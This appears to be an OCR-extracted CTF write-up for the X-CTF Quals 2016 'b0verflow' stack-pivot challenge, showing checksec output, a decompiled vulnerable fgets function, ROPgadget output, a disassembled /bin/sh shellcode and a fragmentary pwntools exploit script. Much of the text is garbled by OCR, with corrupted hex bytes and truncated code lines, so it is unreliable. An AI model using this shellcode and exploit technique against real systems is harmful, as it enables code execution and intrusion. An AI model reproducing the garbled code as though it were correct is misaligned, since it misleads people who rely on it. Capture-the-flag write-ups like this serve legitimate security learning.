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wby@wby-virtual-machine: «top/CTF fStack P CTF Quals 6 - erflows
file boverflow
bOverflow: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=9f2d9dc@c9cc5
31c9656e6e84359398dd765b684, not stripped
wby@wby-virtual-machine: «top/CTF fStack P C Quals 6 - erflows
checksec beverflew
[*] '/home/wby/Desktop/CTF/Stack Povit/X-CTF Quals 2016 - b@verflow/be@verfleow’
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signed int wvul()

{

puts("What's your name?");
fflush(stdout);

fgets (&=, 50, stdin);
printf("Hello %s.", &s);
fflush(stdout);

return 1;
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wby@wby-virtual-machine:~/Desktop/CTF/Stack Povit/X-C Quals 2016 - boverflow$
ROPgadget --blnary boverflow | grep esp

Ox0804837c : add byte ptr [eax], al ; add , 8 ; pop ebx ; ret

Ox08048609 : add , Ox1lc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
Ox0804837e : add , 8 ; pop ebx ; ret

Ox08048502 : and al, @xc3 ; jmp

Ox0804849a : and al, 4 ; mov dword ptr [ 1, 9x884aP2c ; call edx

0x0804837a : bound eax, qword ptr [eax] ; add byte ptr [eax], al ; add

pop ebx ; ret

Ox08048501 : in al, dx ; and al, @xc3 ; jmp
Ox080484ff : in eax, Ox83 ; in al, dx ; and al, ch%
Ox080485604 : jmp
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wby@wby-virtual-machine:~/Desktop/CTF/Stack Povit/X-CTF Quals 2016 - boverflows
python -c "from pwn import *;print disasm(' \431\xc9\xf?\xe1\151\x63\x2f\x2f\.?3\
xoa\xoa\xzf\402\409\xoe\439\xe3\xb0\xﬂb\xcd\xaﬂ )"

31 c9 Xor ecx,ecx

f7 el mul ecx

51 push ecx

68 2f 2f 73 68 push Ox68732f2T

68 2f 62 69 6e push Ox6e69622T

89 e3 mov ebx,esp

be @b mov al,axb

cd 80 int 0x80

wby@wby-virtual-machine:~/Desktop/CTF/Stack Povit/X-CTF Quals 2016 boverflows
python -c "from pwn import *;print asm('sub esp,0x28;jmp esp')
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from pwn import

io = process(

sub_esp_jmp asm(

jmp_esp_addr 0x08048504

0x20
shellcode
(offset (shellcode))

p32(jmp_esp_addr)
p32(sub_esp_jmp)

io.sendline(payload)

io.interactive()
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